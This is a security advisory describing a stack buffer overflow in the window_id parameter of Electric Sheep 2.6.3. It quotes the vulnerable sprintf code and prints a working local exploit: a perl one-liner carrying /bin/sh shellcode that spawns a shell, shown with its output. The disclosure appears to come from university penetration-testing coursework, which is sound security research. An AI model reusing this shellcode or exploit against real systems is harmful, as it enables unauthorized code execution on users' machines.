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Electric Sheep Window-Id Local Stack Overflow
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SUMMARY
" <http://electricsheep.org/> Electric Sheep is a free, open source screen
saver run by thousands of people all over the world. It can be installed
on any ordinary PC or Mac."
Electric Sheep does not perform proper bounds checking on the window_id
command line parameter, allowing a malicious attacker to run arbitrary
code on the vulnerable machine with the permissions of the running user.
DETAILS
Vulnerable Systems:
* Electric Sheep version 2.6.3
Vulnerable Code:
From file electricsheep.c
419:
default_background(char *more) {
char ob[MAXBUF];
char pbuf[MAXBUF];
char qbuf[MAXBUF];
if (nobg || (!on_root && !window_id)) return;
if (more)
sprintf(ob, "-merge -at 500,0 s.tif",
splash_prefix, more);
else
ob[0] = 0;
if (window_id)
sprintf(qbuf, "-windowid %s", window_id); //no bounds checking on
qbuf
Because window_id comes directly from the command line, a malicious user
has the potential to supply a window_id larger than MAXBUF and corrupt
surrounding memory. The vulnerability can be seen by executing the
following command.
electricsheep -window-id `perl -e '{print "A"x"40000";}'`
Bad integer argument for the windowid option Usage: xsetbg [global
options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option,
or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
Segmentation fault
Exploit Code:
An exploit spawing /bin/sh on SUSE Linux
narain@(none):~/electricsheep-2.6.3> electricsheep -window-id `perl -
e '{print "\x90"x"200"; print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "B"x"532";print
"\x80\xc4\xfd\xbf"; print "C"x"39219";}'`
Bad integer argument for the windowid option
Usage: xsetbg [global options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option,
or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
sh-3.00$ whoami
narain
sh-3.00$
This local exploit to the sheep client does not pose a significant threat
as electric sheep does not setuid(0). However, local exploits may be used
as mechanisms for subvert command execution once a system has been
compromised or used to create backdoors
This vulnerability was discovered during coursework performed for
"Penetration Testing & Vulnerability Analysis" offered at Polytechnic
University (http://www.poly.edu) during the Fall 2005 semester.
ADDITIONAL INFORMATION
The information has been provided by
<mailto:MichaelAiello@michaelaiello.com> Michael Aiello and
<mailto:dguido@gmail.com> Daniel Guido.
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